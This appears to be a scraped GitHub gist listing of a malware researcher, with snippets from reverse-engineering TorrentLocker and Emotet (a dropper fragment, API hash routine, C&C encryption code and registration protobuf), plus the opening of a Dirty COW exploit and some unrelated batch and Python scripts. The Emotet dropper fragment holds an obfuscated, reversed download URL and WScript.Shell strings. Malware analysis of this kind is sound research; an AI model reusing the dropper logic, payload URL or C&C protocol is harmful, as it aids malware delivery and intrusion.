Skip to content

Instantly share code, notes, and snippets.

View psrok1's full-sized avatar
🦆

Paweł Srokosz psrok1

🦆
View GitHub Profile
@psrok1
psrok1 / tlocker_msg.h
Created October 20, 2016 12:42
TorrentLocker message struct
struct tlock_message /* pack(1) */ {
wchar_t machineId[33]; // identyfikator maszyny (offs=0x00, size=66)
wchar_t campaignId[33]; // identyfikator kampanii (offs=0x42, size=66)
char ipAddress[16]; // adres IP maszyny (offs=0x84, size=16)
uint8_t command; // typ żądania (offs=0x94, size=1)
uint32_t sizeOfData; // rozmiar dodatkowych danych (offs=0x95, size=4)
char data[]; // dodatkowe dane (opcjonalnie, offs=0x99, size=..)
}
@psrok1
psrok1 / naughtyc0w.c
Last active October 26, 2016 00:20 — forked from mak/naughtyc0w.c
CVE-2016-5195 with dirty_writeback_centisecs setup
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/uio.h>
#include <sys/wait.h>
@echo off
setlocal ENABLEDELAYEDEXPANSION
set copyright=Pawel Srokosz [psrok1] ^(C^) 2012
set maxx=70
set maxy=20
mode con:lines=30
goto main
:initvga
set vgaclear=
@echo off
setlocal ENABLEDELAYEDEXPANSION
set copyright=Pawel Srokosz [psrok1] ^(C^) 2012
set maxx=70
set maxy=20
mode con:lines=30
goto main
:initvga
set vgaclear=
import time
times = []
# for N=10**4 works very well, for 10**6 terminates with segfault
N = 10**6
for i in range(100):
start = time.time()
s = ""
@psrok1
psrok1 / emotet.dropper.part.js
Created May 19, 2017 12:06
Part of Emotet v4 dropper
$uaU$Fh71K_E6TQAdMPz = function(n) {
if (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == "string") return $uaU$Fh71K_E6TQAdMPz.list[n].split("").reverse().join("");
return $uaU$Fh71K_E6TQAdMPz.list[n];
};
$uaU$Fh71K_E6TQAdMPz.list = [
"tamroF eliF detroppuS toN",
"llehS.tpircSW",
"tcejbOmetsySeliF.gnitpircS",
"/1506daolnwod/ku.oc.aidemlaerehte//:ptth",
@psrok1
psrok1 / x65599.c
Created May 19, 2017 12:08
Emotet x65599 hash routine
int hashValue = 0;
for ( char c = *libraryName; *libraryName; c = *(++libraryName) )
{
hashValue = c + 65599 * hashValue;
}
hashValue = xorKey ^ hashValue;
@psrok1
psrok1 / emotet.cnckeygen.c
Created May 19, 2017 12:14
Emotet C&C key generation
if ( fn_CryptAcquireContextW(cryptCtx->hProv, 0, 0, PROV_RSA_AES, 0xF0000040) )
{
if ( fn_CryptDecodeObjectEx(
65537,
RSA_CSP_PUBLICKEYBLOB,
RSA_ENCODED,
RSA_ENCODED_LEN,
CRYPT_DECODE_ALLOC_FLAG,
0,
&prsaKey,
if ( !fn_CryptDuplicateHash(cryptCtx->hCryptSHA1, 0, 0, &hHash) )
goto ERROR;
memmove(pRequest, req->bufPtr, req->bufLen);
if ( fn_CryptEncrypt(cryptCtx->hCryptAES, hHash, 1, 0, pRequest, &dwRequestLen, dwBufLen) )
{
if ( fn_CryptExportKey(cryptCtx->hCryptAES, cryptCtx->hCryptRSA, 1, CRYPT_OAEP, encKey, &encKeyLen) )
{
memmove(encReq, encKey, 96)
if ( fn_CryptGetHashParam(hHash, HP_HASHVAL, encReq + 96, &shaLen, 0) )
result = 1;
@psrok1
psrok1 / emotet.registrationreq.proto
Created May 19, 2017 12:26
Emotet registration request
syntax = "proto2";
message RegistrationRequest {
message RegistrationRequestBody {
required string botId = 1;
required fixed32 osVersion = 2;
required string procList = 3;
required string mailClient = 4;
}